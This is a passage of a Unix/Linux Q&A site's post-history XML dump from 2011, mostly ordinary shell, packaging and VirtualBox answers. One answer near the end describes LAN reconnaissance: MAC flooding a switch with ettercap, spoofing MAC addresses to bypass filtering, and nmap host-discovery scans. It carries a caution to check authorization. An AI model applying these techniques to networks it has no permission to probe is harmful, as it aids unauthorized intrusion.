  <row Id="19707" PostHistoryTypeId="5" PostId="8372" RevisionGUID="a87edcaf-14d3-4719-bebc-7a2b188cc706" CreationDate="2011-03-01T03:38:52.007" UserId="3169" Comment="added 568 characters in body; deleted 11 characters in body" Text="I'm not quite sure this can be done using only `find`, but I think we can do it using only `bash` and `find`.&#xD;&#xA;&#xD;&#xA;    tree_contains_foo_files()&#xD;&#xA;    {&#xD;&#xA;        count=$(find &quot;$1&quot; -type f -name &quot;*.foo&quot; | wc -l)&#xD;&#xA;        test $count -gt 0&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    find . -depth -type d -print0 |&#xD;&#xA;    while read -r -d $'\000' dir; do&#xD;&#xA;        if ! tree_contains_foo_files &quot;$dir&quot;; then&#xD;&#xA;            rm -rf &quot;$dir&quot;&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Given this test tree:&#xD;&#xA;&#xD;&#xA;    .&#xD;&#xA;    ./dir1&#xD;&#xA;    ./dir1/dir1.1&#xD;&#xA;    ./dir1/dir1.1/dir1.1.1&#xD;&#xA;    ./dir1/dir1.1/dir1.1.1/file.foo&#xD;&#xA;    ./dir1/dir1.1/file.bar&#xD;&#xA;    ./dir2&#xD;&#xA;    ./dir2/dir2.1&#xD;&#xA;    ./dir2/file.bar&#xD;&#xA;    ./dir3&#xD;&#xA;&#xD;&#xA;I get this result:&#xD;&#xA;&#xD;&#xA;    rm -rf ./dir2/dir2.1&#xD;&#xA;    rm -rf ./dir2&#xD;&#xA;    rm -rf ./dir3&#xD;&#xA;&#xD;&#xA;which I think is what you want, i.e. don't delete `dir1`, because `dir1/dir1.1/dir1.1.1` contains `file.foo`.&#xD;&#xA;&#xD;&#xA;But note that it does process directories multiple times, so it might be slow for large trees.  If efficiency is important, I'd use a more powerful programming language." />
  <row Id="19710" PostHistoryTypeId="5" PostId="8125" RevisionGUID="1dbbba7a-7ff8-4ff7-8397-70e535bc5630" CreationDate="2011-03-01T04:18:19.547" UserId="3519" Comment="added 271 characters in body" Text="Something like&#xD;&#xA;&#xD;&#xA;    sed '1,/last date prior to chunk/d;/first date after chunk/,$d' logfile | tee cut-log | less&#xD;&#xA;&#xD;&#xA;`tee cut-log` allows you to see on screen what is being put in file `cut-log`.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;To satisfy fred.bear's exacting standards, here's a sed solution (though arguably the awk solution is a lot prettier):&#xD;&#xA;&#xD;&#xA;    b=BB; e=EE ;echo -e &quot;AA\nAA\nBB\nBB\nCC\nCC\nDD\nDD\nEE\nEE\nFF\nFF&quot; | sed -n &quot;:b;/$b/b p;n;b b;:p;p;n;/$e/b e;b p;:e;p;n;/$e/b e;q&quot;" />
  <row Id="19711" PostHistoryTypeId="5" PostId="8370" RevisionGUID="63d9d3f6-4614-49e1-8791-94ca5d027108" CreationDate="2011-03-01T04:36:50.623" UserId="1207" Comment="deleted 35 characters in body" Text="I have a few directories, some with a depth of 3, which contain mixed file types. What I need to do is to `rm -rf` all the directories that do not contain filetype `foo`. &#xD;&#xA;&#xD;&#xA;Is this achievable with `find` somehow?&#xD;&#xA;I do know that I can use find like this:&#xD;&#xA;&#xD;&#xA;    find . ! -name '*.foo' -delete&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;to delete all files within the directories that do not contain any file of type `*.foo`. &#xD;&#xA;Now, how can I use this, to not only delete all unwanted files, but all directories and subdirectories which do not contain `*.foo`?" />
  <row Id="19712" PostHistoryTypeId="2" PostId="8374" RevisionGUID="1ecba918-ef26-4ee7-a4a2-e7c15e461dc6" CreationDate="2011-03-01T04:47:13.563" UserId="688" Text="Try a younger kernel, perhaps [something from &quot;sid&quot; (aka Unstable)][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org/source/sid/linux-2.6" />
  <row Id="19713" PostHistoryTypeId="25" PostId="8370" RevisionGUID="00ff3ddc-f77b-48f9-8c7d-08fa64e14ddf" CreationDate="2011-03-01T05:23:33.453" Comment="http://twitter.com/#!/StackUnix/status/42454907600633856" />
  <row Id="19714" PostHistoryTypeId="2" PostId="8375" RevisionGUID="2e6761d1-6e8d-490d-bb48-f5dd680a2593" CreationDate="2011-03-01T03:05:06.797" UserDisplayName="Banti" Text="Hi All,&#xD;&#xA;&#xD;&#xA;I am trying to change default log location ( var/svc/logs/&lt;component&gt;) of each and evry SMF registered processes and append to particular file (/opt/smf.log) .&#xD;&#xA;&#xD;&#xA;Please help .................&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance !!!&#xD;&#xA;Gyan prakash&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19715" PostHistoryTypeId="1" PostId="8375" RevisionGUID="2e6761d1-6e8d-490d-bb48-f5dd680a2593" CreationDate="2011-03-01T03:05:06.797" UserDisplayName="Banti" Text="Urgent:How to change default log location of SMF registered processes." />
  <row Id="19716" PostHistoryTypeId="3" PostId="8375" RevisionGUID="2e6761d1-6e8d-490d-bb48-f5dd680a2593" CreationDate="2011-03-01T03:05:06.797" UserDisplayName="Banti" Text="ésolarisà" />
  <row Id="19717" PostHistoryTypeId="17" PostId="8375" RevisionGUID="5db76323-e693-4493-8ea0-9315697539de" CreationDate="2011-03-01T05:34:11.787" UserId="-1" Comment="from http://stackoverflow.com/questions/5150065/urgenthow-to-change-default-log-location-of-smf-registered-processes" Text="" />
  <row Id="19718" PostHistoryTypeId="5" PostId="8058" RevisionGUID="2bd3e427-3540-48d6-b0b7-cbace108a9bb" CreationDate="2011-03-01T05:37:01.443" UserId="688" Comment="simplify; deleted 16 characters in body" Text="The command to do this is:&#xD;&#xA;&#xD;&#xA;    setterm -blank&#xD;&#xA;&#xD;&#xA;If you want the setting to be permanent (i.e. to remain in effect after a reboot), put the command in &quot;**/etc/init.d/boot.local**&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**SIDENOTE**: I've tested this on SLES 10.&#xD;&#xA;" />
  <row Id="19719" PostHistoryTypeId="2" PostId="8376" RevisionGUID="0410b970-1099-4a70-b379-e5f04bd3e16b" CreationDate="2011-03-01T05:38:49.103" UserId="5139" Text="Im using fedora core 3, and firefox is needed to be upgraded from version 2.0 to some advanced version, such as 3.0 or 3.6&#xD;&#xA;&#xD;&#xA;And i use the remi repository for yum command, but that repository doesn't contain any other dependencies for the firefox v 3.6.&#xD;&#xA;&#xD;&#xA;Please tell me the names of some linux repositories from where the firefox can be actually installed with all other dependencies.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;thanks :) &#xD;&#xA;" />
  <row Id="19720" PostHistoryTypeId="1" PostId="8376" RevisionGUID="0410b970-1099-4a70-b379-e5f04bd3e16b" CreationDate="2011-03-01T05:38:49.103" UserId="5139" Text="What is the Firefox repository with all dependencies solved?" />
  <row Id="19721" PostHistoryTypeId="3" PostId="8376" RevisionGUID="0410b970-1099-4a70-b379-e5f04bd3e16b" CreationDate="2011-03-01T05:38:49.103" UserId="5139" Text="élinuxàéfedoraàéfirefoxà" />
  <row Id="19722" PostHistoryTypeId="5" PostId="8376" RevisionGUID="9c346ae8-b521-49e2-b92a-38afb5cc813f" CreationDate="2011-03-01T05:45:58.613" UserId="73" Comment="deleted 70 characters in body" Text="I'm using Fedora Core 3, and Firefox needs to be upgraded from version 2.0 to some advanced version, such as 3.0 or 3.6. I used the `remi` repository for `yum` command, but that repository doesn't contain any other dependencies for Firefox v 3.6.&#xD;&#xA;&#xD;&#xA;What Fedora repositories can Firefox be installed from with all other dependencies?&#xD;&#xA;" />
  <row Id="19723" PostHistoryTypeId="2" PostId="8377" RevisionGUID="ab62db42-c526-41e8-88fe-58ae16e79f73" CreationDate="2011-03-01T06:00:47.493" UserId="5226" Text="Hi, I am looking for a guide on one of Linux Package manager architectures.  &#xD;&#xA;For example apt-get (dpkg), or yum (rpm). I want to know how they manage package list, file list, package versions and so on.  &#xD;&#xA;I wonder if anyone could point me to some resource. Thanks in advance." />
  <row Id="19724" PostHistoryTypeId="1" PostId="8377" RevisionGUID="ab62db42-c526-41e8-88fe-58ae16e79f73" CreationDate="2011-03-01T06:00:47.493" UserId="5226" Text="Linux package manager architecture" />
  <row Id="19725" PostHistoryTypeId="3" PostId="8377" RevisionGUID="ab62db42-c526-41e8-88fe-58ae16e79f73" CreationDate="2011-03-01T06:00:47.493" UserId="5226" Text="élinuxàépackageömanagementàéarchitectureà" />
  <row Id="19726" PostHistoryTypeId="5" PostId="8328" RevisionGUID="dcee9ada-20a3-48fa-96f0-42301e9acca1" CreationDate="2011-03-01T07:08:22.307" UserId="5197" Comment="minor fixes" Text="`echo {1..5}` is expanded into the command `echo 1 2 3 4 5` which is then expanded in the usual way.  It is not at all similar to `seq 1 1000000000 &gt;/dev/null`, which never expands to a command with very many arguments.&#xD;&#xA;&#xD;&#xA;It is more like `echo $(seq 1 1000000000)`: I guess this breaks in the same way?&#xD;&#xA;&#xD;&#xA;The problem you are running into is to do with handling large commands, which Unix has always been fussy about, which is to say it is a general problem with handling command strings.  It is one of the things Perl was written to fix.&#xD;&#xA;&#xD;&#xA;I'd file a polite and informative bug report anyway: it might provoke an interesting discussion." />
  <row Id="19727" PostHistoryTypeId="5" PostId="8377" RevisionGUID="e78541d2-a0aa-42ec-b267-b43ed800db37" CreationDate="2011-03-01T07:27:40.457" UserId="688" Comment="deleted 17 characters in body" Text="I am looking for a guide on one of Linux Package manager architectures. For example **apt-get** (dpkg), or **yum** (rpm). I want to know how they manage the package list, file list, package versions and so on. I wonder if anyone could point me to some resource." />
  <row Id="19728" PostHistoryTypeId="5" PostId="8362" RevisionGUID="d9fafbd8-2be2-4023-8b74-22d39557967a" CreationDate="2011-03-01T08:01:08.793" UserId="885" Comment="fixed typo in python" Text="There are standard error values, defined in [`errno.h`](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/errno.h.html). You can look at this file on your system to see the numerical values. On most systems, they're in `/usr/include/errno.h` or a file that it includes. On Linux, most are in `/usr/include/asm-generic/errno-base.h` or `/usr/include/asm-generic/errno.h`, with a few more in `/usr/include/bits/errno.h`.&#xD;&#xA;&#xD;&#xA;If you have a numerical value, call the standard library function [`strerror`](http://pubs.opengroup.org/onlinepubs/009695399/functions/strerror.html) or [`perror`](http://pubs.opengroup.org/onlinepubs/009695399/functions/perror.html) to obtain the corresponding error message (in your current locale). From the command line, a quick way to see an error string is one of&#xD;&#xA;&#xD;&#xA;    perl -MPOSIX -le 'print strerror 123'&#xD;&#xA;    python -c 'import os; print os.strerror(123)'&#xD;&#xA;    zmodload zsh/system; syserror 123  # in zsh&#xD;&#xA;" />
  <row Id="19729" PostHistoryTypeId="2" PostId="8378" RevisionGUID="465566dc-8fe3-418a-80b8-9c359cecfdb7" CreationDate="2011-03-01T08:11:33.523" UserId="2567" Text="Working with this size of files is always hard. &#xD;&#xA;&#xD;&#xA;A way forward could be to split this file into a couple small ones, &#xD;&#xA;to do this you can use the split command.&#xD;&#xA;&#xD;&#xA;    split -d -l 3 ToBigFile.data file_&#xD;&#xA;&#xD;&#xA;Even thou it is split up you can still work with the file like if would be one using a bash for loop&#xD;&#xA;&#xD;&#xA;    for f in `ls file_*`; do cat $f; done;&#xD;&#xA;&#xD;&#xA;But instead of the cat you can use inverted grep to get rid of unwanted data, that is irrelevant for this. (or the kind of refinement that you need).&#xD;&#xA;&#xD;&#xA;At this point you will just work with a lot of smaller files, and the commands the others mentioned above will work smother on a lot of smaller files.&#xD;&#xA;&#xD;&#xA;And when you are done, you can use a second for loop to build up the new smaller file again.&#xD;&#xA;&#xD;&#xA;    for f in `ls file_*`; do cat $f &gt;&gt; NewFile.data ; done;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19730" PostHistoryTypeId="5" PostId="8378" RevisionGUID="022ceab4-1337-4106-88b8-12c73e5de07f" CreationDate="2011-03-01T08:21:50.943" UserId="2567" Comment="split into files with 50 000 lines, not 3 lines... since 8Bb spilt in 3 lines file would be :)" Text="Working with this size of files is always hard. &#xD;&#xA;&#xD;&#xA;A way forward could be to split this file into a couple small ones, &#xD;&#xA;to do this you can use the split command.&#xD;&#xA;&#xD;&#xA;    split -d -l 50000 ToBigFile.data file_&#xD;&#xA;&#xD;&#xA;Even thou it is split up you can still work with the file like if would be one using a bash for loop&#xD;&#xA;&#xD;&#xA;    for f in `ls file_*`; do cat $f; done;&#xD;&#xA;&#xD;&#xA;But instead of the cat you can use inverted grep to get rid of unwanted data, that is irrelevant for this. (or the kind of refinement that you need).&#xD;&#xA;&#xD;&#xA;At this point you will just work with a lot of smaller files, and the commands the others mentioned above will work smother on a lot of smaller files.&#xD;&#xA;&#xD;&#xA;And when you are done, you can use a second for loop to build up the new smaller file again.&#xD;&#xA;&#xD;&#xA;    for f in `ls file_*`; do cat $f &gt;&gt; NewFile.data ; done;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19731" PostHistoryTypeId="25" PostId="8377" RevisionGUID="640c088c-bde2-4599-94b4-9939d8862ea0" CreationDate="2011-03-01T08:23:33.580" Comment="http://twitter.com/#!/StackUnix/status/42500206448746496" />
  <row Id="19732" PostHistoryTypeId="2" PostId="8379" RevisionGUID="35bc2ff4-53e0-461f-b530-87e0ad510902" CreationDate="2011-03-01T08:58:54.170" UserId="36" Text="Well yum is rpm based - http://en.wikipedia.org/wiki/RPM_Package_Manager&#xD;&#xA;&#xD;&#xA;And apt is (typically) deb based - http://en.wikipedia.org/wiki/Deb_%28file_format%29&#xD;&#xA;&#xD;&#xA;There are links from both of those pages that explain more" />
  <row Id="19733" PostHistoryTypeId="5" PostId="2377" RevisionGUID="ed857539-4e11-43b9-b237-70b62651caf9" CreationDate="2011-03-01T09:13:31.373" UserId="688" Comment="rm noise; some corrections" Text="I got 2 repos locally. One is a copy of Squeeze and another is a custom one, and is managed by reprepro. Are there ready-made tools that would generate a list of duplicate packages between the two?" />
  <row Id="19734" PostHistoryTypeId="4" PostId="2377" RevisionGUID="ed857539-4e11-43b9-b237-70b62651caf9" CreationDate="2011-03-01T09:13:31.373" UserId="688" Comment="rm noise; some corrections" Text="How to display duplicates between 2 repositories" />
  <row Id="19735" PostHistoryTypeId="6" PostId="2377" RevisionGUID="ed857539-4e11-43b9-b237-70b62651caf9" CreationDate="2011-03-01T09:13:31.373" UserId="688" Comment="rm noise; some corrections" Text="édebianàépackagingà" />
  <row Id="19736" PostHistoryTypeId="5" PostId="3505" RevisionGUID="4a4df2d0-679d-4946-8164-7efff241d0f6" CreationDate="2011-03-01T09:17:28.563" UserId="688" Comment="formatting" Text="I've got `deb http://debian-multimedia.org squeeze main` in &quot;**/etc/apt/sources.list**&quot;, but `wajig update &amp;&amp; wajig install acroread` results in:&#xD;&#xA;&#xD;&#xA;    E: Package ‘acroread’ has no installation candidate&#xD;&#xA;&#xD;&#xA;What’s happening? Are there alternatives repos?&#xD;&#xA;" />
  <row Id="19737" PostHistoryTypeId="6" PostId="3505" RevisionGUID="4a4df2d0-679d-4946-8164-7efff241d0f6" CreationDate="2011-03-01T09:17:28.563" UserId="688" Comment="formatting" Text="édebianàéinstallà" />
  <row Id="19738" PostHistoryTypeId="4" PostId="8370" RevisionGUID="7742285e-71b7-4da7-a2f6-577638319be9" CreationDate="2011-03-01T09:47:50.573" UserId="1078" Comment="remove tag name from title" Text="use 'find' to search for directories !containing certain filetype foo" />
  <row Id="19739" PostHistoryTypeId="24" PostId="8370" RevisionGUID="7742285e-71b7-4da7-a2f6-577638319be9" CreationDate="2011-03-01T09:47:50.573" Comment="Proposed by 1078 approved by 29 edit id of 173" />
  <row Id="19740" PostHistoryTypeId="6" PostId="8352" RevisionGUID="643aa529-afaa-4aba-9f61-190fccc07d7a" CreationDate="2011-03-01T09:48:43.723" UserId="4595" Comment="fixed tags" Text="shellsort" />
  <row Id="19741" PostHistoryTypeId="24" PostId="8352" RevisionGUID="643aa529-afaa-4aba-9f61-190fccc07d7a" CreationDate="2011-03-01T09:48:43.723" Comment="Proposed by 4595 approved by 29 edit id of 174" />
  <row Id="19742" PostHistoryTypeId="6" PostId="8352" RevisionGUID="60f37efd-3d83-4e2c-a8cc-d3060d9f3bfe" CreationDate="2011-03-01T09:49:27.857" UserId="29" Comment="I believe that all of openwrt uses buybox for shell utils" Text="éshellàébusyboxàésortà" />
  <row Id="19743" PostHistoryTypeId="2" PostId="8380" RevisionGUID="b01c1c2f-04ef-4ef1-a5e4-68cb44413f1e" CreationDate="2011-03-01T09:57:01.103" UserId="3860" Text="How would I go about truncating a binary file when a certain pattern is found?&#xD;&#xA;&#xD;&#xA;For instance, I want to truncate the file at the first occurrence of the pattern `0xFFFFFFFF`.&#xD;&#xA;&#xD;&#xA;I think something like `awk` could do the trick... but I'm not exactly sure how.&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="19744" PostHistoryTypeId="1" PostId="8380" RevisionGUID="b01c1c2f-04ef-4ef1-a5e4-68cb44413f1e" CreationDate="2011-03-01T09:57:01.103" UserId="3860" Text="Truncate a file on a certain pattern" />
  <row Id="19745" PostHistoryTypeId="3" PostId="8380" RevisionGUID="b01c1c2f-04ef-4ef1-a5e4-68cb44413f1e" CreationDate="2011-03-01T09:57:01.103" UserId="3860" Text="éawkà" />
  <row Id="19746" PostHistoryTypeId="2" PostId="8381" RevisionGUID="2b7483d0-a509-4ff0-bbc1-86d04c3f8a47" CreationDate="2011-03-01T10:13:20.110" UserId="2921" Text="Does cygwin work line wine, providing a compatibility layer inside a foreign os?" />
  <row Id="19747" PostHistoryTypeId="1" PostId="8381" RevisionGUID="2b7483d0-a509-4ff0-bbc1-86d04c3f8a47" CreationDate="2011-03-01T10:13:20.110" UserId="2921" Text="Is cygwin like wine, but for linux applications?" />
  <row Id="19748" PostHistoryTypeId="3" PostId="8381" RevisionGUID="2b7483d0-a509-4ff0-bbc1-86d04c3f8a47" CreationDate="2011-03-01T10:13:20.110" UserId="2921" Text="éwineàécygwinàécompatibilityà" />
  <row Id="19749" PostHistoryTypeId="5" PostId="8375" RevisionGUID="dc9116d7-2c2d-4cc8-ba2a-1e0a2b591d2e" CreationDate="2011-03-01T10:16:30.783" UserId="29" Comment="clean  up content. I get enough URGENT! at work... ugh... " Text="I am trying to change default log location ( var/svc/logs/&lt;component&gt;) of each and every SMF registered processes and append to particular file (/opt/smf.log).&#xD;&#xA;" />
  <row Id="19750" PostHistoryTypeId="4" PostId="8375" RevisionGUID="dc9116d7-2c2d-4cc8-ba2a-1e0a2b591d2e" CreationDate="2011-03-01T10:16:30.783" UserId="29" Comment="clean  up content. I get enough URGENT! at work... ugh... " Text="How to change default log location of SMF registered processes" />
  <row Id="19751" PostHistoryTypeId="2" PostId="8382" RevisionGUID="ecbded8b-0e9c-4fb0-a298-341c63d1dc53" CreationDate="2011-03-01T10:29:50.863" UserId="2978" Text="Does Cygwin work like wine? No.&#xD;&#xA;&#xD;&#xA;Does it provide a compatibility layer inside a foreign OS? Yes.&#xD;&#xA;&#xD;&#xA;Wine can run Windows executables on Linux, but Cygwin cannot run Linux executables on Windows. Instead, Linux programs have to be compiled specifically for Cygwin, whereby the aim of the Cygwin project is to make that as straightforward as possible, i.e. it's aiming for source compatibility rather than binary compatibility.&#xD;&#xA;&#xD;&#xA;However, Winelib, which is part of the Wine project, essentially is Cygwin in reverse: it provides a source compatibility layer that allows Windows programs to be compiled into Linux executables." />
  <row Id="19752" PostHistoryTypeId="5" PostId="5058" RevisionGUID="21a7db40-5b0c-4626-80a2-3845eddab11c" CreationDate="2011-03-01T10:46:12.467" UserId="688" Comment="typo" Text="I'm setting up a development server with VirtualBox.  I've installed Ubuntu 10.10 Server. I want to use filesharing to setup the files that I need to develop on but it seems that the CD drive is not mounting to install the Virtualbox guest additions. How can I configure this to setup the file sharing." />
  <row Id="19753" PostHistoryTypeId="2" PostId="8383" RevisionGUID="a37d1cc0-774d-40be-b53c-fb15acb2dd7c" CreationDate="2011-03-01T10:50:31.683" UserId="688" Text="I would like to share data between a VirtualBox OSE guest OS and the host. This location should be also writable by either of the two." />
  <row Id="19754" PostHistoryTypeId="1" PostId="8383" RevisionGUID="a37d1cc0-774d-40be-b53c-fb15acb2dd7c" CreationDate="2011-03-01T10:50:31.683" UserId="688" Text="How to access a shared directory with Virtualbox OSE" />
  <row Id="19755" PostHistoryTypeId="3" PostId="8383" RevisionGUID="a37d1cc0-774d-40be-b53c-fb15acb2dd7c" CreationDate="2011-03-01T10:50:31.683" UserId="688" Text="évirtualboxà" />
  <row Id="19756" PostHistoryTypeId="4" PostId="7044" RevisionGUID="36a24f12-338f-4945-b6b2-0d52c45eb874" CreationDate="2011-03-01T11:10:29.413" UserId="1946" Comment="removed 'postfix' from title: it's irrelevant to the problem; edited tags" Text="How to send mail from a remote SMTP host?" />
  <row Id="19757" PostHistoryTypeId="6" PostId="7044" RevisionGUID="36a24f12-338f-4945-b6b2-0d52c45eb874" CreationDate="2011-03-01T11:10:29.413" UserId="1946" Comment="removed 'postfix' from title: it's irrelevant to the problem; edited tags" Text="émailàéremoteàésmtpàélocalà" />
  <row Id="19758" PostHistoryTypeId="25" PostId="8381" RevisionGUID="a3de03fd-5a42-49a7-b1a1-5b621afb7e20" CreationDate="2011-03-01T11:23:33.347" Comment="http://twitter.com/#!/StackUnix/status/42545504348946432" />
  <row Id="19760" PostHistoryTypeId="2" PostId="8385" RevisionGUID="3ffcad4d-f0fe-4404-9fe0-c3fe570ec8b1" CreationDate="2011-03-01T11:37:59.190" UserId="5116" Text="I'm quite sure, it's possible using Perl when you do the following&#xD;&#xA;&#xD;&#xA;- use the command line option `-0777` to slurp all the input at once&#xD;&#xA;- use Latin-1 coding&#xD;&#xA;- use `s/\xFF\xFF\xFF\xFF.*//s`&#xD;&#xA;&#xD;&#xA;I did something like this a long time ago, but I don't recall the options anymore. For awk I have no idea." />
  <row Id="19761" PostHistoryTypeId="5" PostId="1589" RevisionGUID="e6a34df1-d5cc-4565-9a85-65711693bc0f" CreationDate="2011-03-01T12:46:50.023" UserId="688" Comment="reduce the need to visit the manpage" Text="You can use [*split*][1] and *cat*.&#xD;&#xA;&#xD;&#xA;E.g. something like&#xD;&#xA;&#xD;&#xA;     split --bytes 500M --numeric-suffixes --suffix-length=3 foo.&#xD;&#xA;&#xD;&#xA;Assuming that the shell sorts the results of shell globbing you could do something like this:&#xD;&#xA;&#xD;&#xA;     cat foo.* &gt; foo&#xD;&#xA;&#xD;&#xA;Else, you could use a combination of find/sort/xargs.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/coreutils/manual/html_node/split-invocation.html" />
  <row Id="19762" PostHistoryTypeId="2" PostId="8386" RevisionGUID="e68de09f-ee75-404e-8ed7-8bed6d8663d9" CreationDate="2011-03-01T12:53:46.613" UserId="4194" Text="Convert to octal and assign to the record separator.&#xD;&#xA;&#xD;&#xA;    awk 'BEGIN{RS=&quot;\377\377\377\377&quot;} NR==1 {print;exit}'" />
  <row Id="19763" PostHistoryTypeId="2" PostId="8387" RevisionGUID="24bc9b96-f135-4663-a6d0-88bea8feb27e" CreationDate="2011-03-01T12:59:58.497" UserId="4194" Text="Open the Virtualbox gui; select the guest you wish to have the shared directory and select &quot;Settings&quot;.  In the dialog box, select the &quot;Shared Folders&quot; tab (on the left).  Click on the &quot;+&quot; button on the right to create a new location (of an existing directory on the host).  On the next guest boot, the location will be available to the guest OS (depending on how it accesses drives).  As long as the underlying filesystem is writable to the Virtualbox guest, then it will be writable by both guest and host." />
  <row Id="19764" PostHistoryTypeId="5" PostId="3608" RevisionGUID="ac71056b-f8e5-4a29-84b1-50eb8e00be60" CreationDate="2011-03-01T13:00:09.497" UserId="688" Comment="rm noise" Text="I previously had problems connecting to certain routers via WPA2 with NetworkManager (which was the default in Ubuntu last time I used it). I solved it by installing wicd, which worked.&#xD;&#xA;&#xD;&#xA;**Note**: This doesn't apply if you aren't using a wireless router, or if you don't use WPA2." />
  <row Id="19765" PostHistoryTypeId="5" PostId="74" RevisionGUID="5f88a477-df3b-43f8-a1bb-451ca8d09fb4" CreationDate="2011-03-01T13:04:05.430" UserId="688" Comment="formatting" Text="Some pointers:&#xD;&#xA;&#xD;&#xA;1. Don't run so many GUI programs at once.  &#xD;&#xA;2. Make sure that any programs running in the background that you don't need e.g. Apache are stopped.  &#xD;&#xA;3. Use a distro aimed at low-memory situations (e.g. for a netbook)  &#xD;&#xA;4. Buy more memory.  &#xD;&#xA;5. Buy a faster HD (or SSD) for your swap partition.  :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19766" PostHistoryTypeId="2" PostId="8388" RevisionGUID="201753e7-d41c-4e38-9c6c-f4198c1ba197" CreationDate="2011-03-01T13:17:04.420" UserId="2163" Text="I know that root can do anything, but is there a way to at least alert root that they are about to delete a folder that perhaps shouldn't be deleted?&#xD;&#xA;&#xD;&#xA;We keep a work directory in our `/tmp` folder, and from time to time an administrator will come along and purge the /tmp folder with roughly `sudo rm -rf *`. Is there a way to give something like a prompt or alert that they are about to delete a specific folder? Something along the lines of:&#xD;&#xA;&#xD;&#xA;    The folder XXXXX is protected from deletion - do you really want to delete this folder? (y/n)&#xD;&#xA;&#xD;&#xA;I know, the best solution is to move this folder elsewhere (the /tmp folder is called temp for a reason after all!), but that has other problems. Hence my question.&#xD;&#xA;&#xD;&#xA;Asking this question makes me wonder, is it bad practice to actually blindly delete all the contents of the `/tmp` folder? Isn't a better approach to only delete files that are more than a certain age?" />
  <row Id="19767" PostHistoryTypeId="1" PostId="8388" RevisionGUID="201753e7-d41c-4e38-9c6c-f4198c1ba197" CreationDate="2011-03-01T13:17:04.420" UserId="2163" Text="Preventing a folder from being deleted even by root" />
  <row Id="19768" PostHistoryTypeId="3" PostId="8388" RevisionGUID="201753e7-d41c-4e38-9c6c-f4198c1ba197" CreationDate="2011-03-01T13:17:04.420" UserId="2163" Text="érootà" />
  <row Id="19769" PostHistoryTypeId="5" PostId="8388" RevisionGUID="63389732-5b87-47c8-b00d-7a98fade3af3" CreationDate="2011-03-01T13:28:28.753" UserId="2163" Comment="Improved formatting" Text="I know that root can do anything, but is there a way to at least alert root that they are about to delete a folder that perhaps shouldn't be deleted?&#xD;&#xA;&#xD;&#xA;We keep a work directory in our `/tmp` folder, and from time to time an administrator will come along and purge the `/tmp` folder with roughly `sudo rm -rf *`. Is there a way to give something like a prompt or alert that they are about to delete a specific folder? Something along the lines of:&#xD;&#xA;&#xD;&#xA;    The folder XXXXX is protected from deletion - do you really want to delete this folder? (y/n)&#xD;&#xA;&#xD;&#xA;I know, the best solution is to move this folder elsewhere (the /tmp folder is called temp for a reason after all!), but that has other problems. Hence my question.&#xD;&#xA;&#xD;&#xA;Asking this question makes me wonder, is it bad practice to actually blindly delete all the contents of the `/tmp` folder? Isn't a better approach to only delete files that are more than a certain age?" />
  <row Id="19770" PostHistoryTypeId="5" PostId="8123" RevisionGUID="4db2f7d9-184f-4a9a-9557-a129fce8d569" CreationDate="2011-03-01T13:37:11.603" UserId="4477" Comment="more links, nmap examples" Text="How much do you know about the LAN in question? I'm assuming you don't know anything just plugged in the cable or connected to wifi.&#xD;&#xA;&#xD;&#xA;1. Try requesting an IP address with DHCP. Do you get one? Then you already know a few things: the gateway IP, the DHCP server IP, the subnet mask and maybe DNS servers.&#xD;&#xA;1. If you don't get one there is either no DHCP server or the network is MAC filtered.&#xD;&#xA;1. Either way start capturing packets with [wireshark][1]. If you are on wireless or connected to a hub it's easy. If you are connected to a switch you can try [MAC flooding][2] to switch it back to &quot;hub mode&quot; but a smarter switch will just disable your port. If you want to try it anyway [ettercap][3] can do this for you. (Or macchanger and a shell script :) )&#xD;&#xA;1. Looking at the packets you can find IP addresses but most importantly you can guess the network parameters. If you suspect MAC filtering change you MAC address to one of the observed ones after it leaves (sends nothing for a while).&#xD;&#xA;1. When you have a good idea about the network configuration (netmask, gateway, etc) use nmap to scan. Nmap can do a lot more than -sP in case some hosts don't respond to ping check out [the documentation][4]. It's important that nmap only works if your network settings and routes are correct.&#xD;&#xA;1. You can possibly find even more hosts with nmap's [idle scan][5].&#xD;&#xA;&#xD;&#xA;Some (most?) system administrators don't like a few of the above methods so make sure it is allowed (for example it's your network). Also note that your own firewall can prevent some of these methods (even getting an IP with DHCP) so check your rules first.&#xD;&#xA;&#xD;&#xA;**Nmap**&#xD;&#xA;&#xD;&#xA;Here is how to do basic [host discovery with nmap][6]. As I said your network configuration should be correct when you try this. Let's say you are 192.168.0.50 you are on a /24 subnet. Your MAC address is something that is allowed to connect, etc. I like to have wireshark running to see what I'm doing.&#xD;&#xA;&#xD;&#xA;First I like to try the list scan, which only tries to resolve the PTR records in DNS for the specified IP addresses. It sends nothing to the hosts so there is no guarantee it is really connected or turned on but there is a good chance. This mode obviously needs a DNS server which is willing to talk to you.&#xD;&#xA;&#xD;&#xA;    nmap -vvv -sn -sL 192.168.1.0/16&#xD;&#xA;&#xD;&#xA;This may find nothing or it may tell you that every single IP is up.&#xD;&#xA;&#xD;&#xA;Then I usually go for ARP scan. It sends ARP requests (you see them as &quot;Who has &lt;target IP&gt;? Tell &lt;your IP&gt;&quot; in wireshark). This is pretty reliable since noone filters or fakes ARP. The main disadvantage is that it only works on your subnet.&#xD;&#xA;&#xD;&#xA;    nmap -vvv -sn -PR 192.168.1.0/24&#xD;&#xA;&#xD;&#xA;If you want to scan something behind routers or firewalls then use SYN and ACK scans. SYN starts a TCP connection and you either get an RST or a SYNACK in response. Either way the host is up. You might get ICMP communication prohibited or something like that if there is a firewall. Most of the time if a firewall filtered your packets you will get nothing. Some type of firewalls only filter the TCP SYN packets and let every other TCP packet through. This is why ACK scan is useful. You will get RST in response if the host is up. Since you don't know what firewall is in place try 